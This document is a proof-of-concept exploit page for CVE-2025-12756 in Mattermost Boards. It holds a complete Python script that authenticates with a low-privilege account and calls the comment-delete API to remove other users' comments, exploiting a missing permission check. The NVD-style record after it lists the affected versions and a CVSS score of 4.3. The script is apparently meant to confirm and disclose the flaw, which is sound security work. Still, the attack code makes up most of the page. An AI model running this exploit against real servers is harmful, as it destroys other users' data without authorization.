CVE-2025-12756

#!/usr/bin/env python3 """ CVE-2025-12756 PoC - Mattermost Boards Comment Deletion Authorization Bypass This PoC demonstrates the IDOR vulnerability in Mattermost Boards comment deletion. """ import requests import json from typing import Dict, Optional class MattermostBoardsExploit: def __init__(self, target_url: str, username: str, password: str): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.token = None self.user_id = None self.board_id = None self.target_comment_id = None def authenticate(self) -> bool: """Authenticate to Mattermost and obtain access token.""" login_url = f"{self.target_url}/api/v4/users/login" credentials = { "login_id": self.username, "password": self.password } try: response = self.session.post(login_url, json=credentials, timeout=10) if response.status_code == 200: self.token = response.headers.get('Token') self.session.headers.update({'Authorization': f'Bearer {self.token}'}) user_info = response.json() self.user_id = user_info.get('id') print(f"[+] Authentication successful. User ID: {self.user_id}") return True else: print(f"[-] Authentication failed: {response.status_code}") return False except Exception as e: print(f"[-] Authentication error: {str(e)}") return False def get_boards(self) -> Optional[list]: """Retrieve list of boards accessible to the current user.""" boards_url = f"{self.target_url}/api/v1/boards" try: response = self.session.get(boards_url, timeout=10) if response.status_code == 200: return response.json() return None except Exception as e: print(f"[-] Error fetching boards: {str(e)}") return None def get_comments(self, card_id: str) -> Optional[list]: """Retrieve comments from a specific card.""" comments_url = f"{self.target_url}/api/v1/boards/{self.board_id}/cards/{card_id}/comments" try: response = self.session.get(comments_url, timeout=10) if response.status_code == 200: return response.json() return None except Exception as e: print(f"[-] Error fetching comments: {str(e)}") return None def delete_comment(self, card_id: str, comment_id: str) -> bool: """ Attempt to delete a comment using IDOR vulnerability. This will succeed even if the comment belongs to another user. """ delete_url = f"{self.target_url}/api/v1/boards/{self.board_id}/cards/{card_id}/comments/{comment_id}" try: response = self.session.delete(delete_url, timeout=10) if response.status_code in [200, 204]: print(f"[+] Successfully deleted comment: {comment_id}") return True elif response.status_code == 403: print(f"[-] Forbidden: Access denied to delete comment {comment_id}") return False else: print(f"[-] Delete failed with status: {response.status_code}") return False except Exception as e: print(f"[-] Delete error: {str(e)}") return False def exploit(self, board_id: str, card_id: str, target_comment_id: str) -> bool: """ Execute the IDOR exploit to delete another user's comment. """ print(f"[*] Target Board ID: {board_id}") print(f"[*] Target Card ID: {card_id}") print(f"[*] Target Comment ID: {target_comment_id}") return self.delete_comment(card_id, target_comment_id) def main(): """ Example usage of CVE-2025-12756 PoC. Replace the placeholder values with actual target information. """ TARGET_URL = "https://mattermost.example.com" USERNAME = "[email protected]" PASSWORD = "password123" BOARD_ID = "board_id_here" CARD_ID = "card_id_here" TARGET_COMMENT_ID = "comment_id_of_other_user" exploit = MattermostBoardsExploit(TARGET_URL, USERNAME, PASSWORD) if exploit.authenticate(): exploit.board_id = BOARD_ID success = exploit.exploit(BOARD_ID, CARD_ID, TARGET_COMMENT_ID) if success: print("[!] Vulnerability confirmed: IDOR allows unauthorized comment deletion") else: print("[-] Exploit failed or patch has been applied") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-12756", "sourceIdentifier": "[email protected]", "published": "2025-12-01T20:15:49.147", "lastModified": "2025-12-05T15:26:22.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to validate user permissions when deleting comments in Boards, which allows an authenticated user with the editor role to delete comments created by other users."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.5.0", "versionEndExcluding": "10.5.13", "matchCriteriaId": "91D99F7F-B4EE-447C-9B77-82DD64B1D83A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.5", "matchCriteriaId": "A8368192-621C-4043-827E-DB4F6946AD92"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.12.0", "versionEndExcluding": "10.12.2", "matchCriteriaId": "ED48D731-6490-4DD5-94D4-EE4555BB93ED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.0.3", "matchCriteriaId": "3A288B87-76F2-415B-8462-3D185EB7A9B3"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}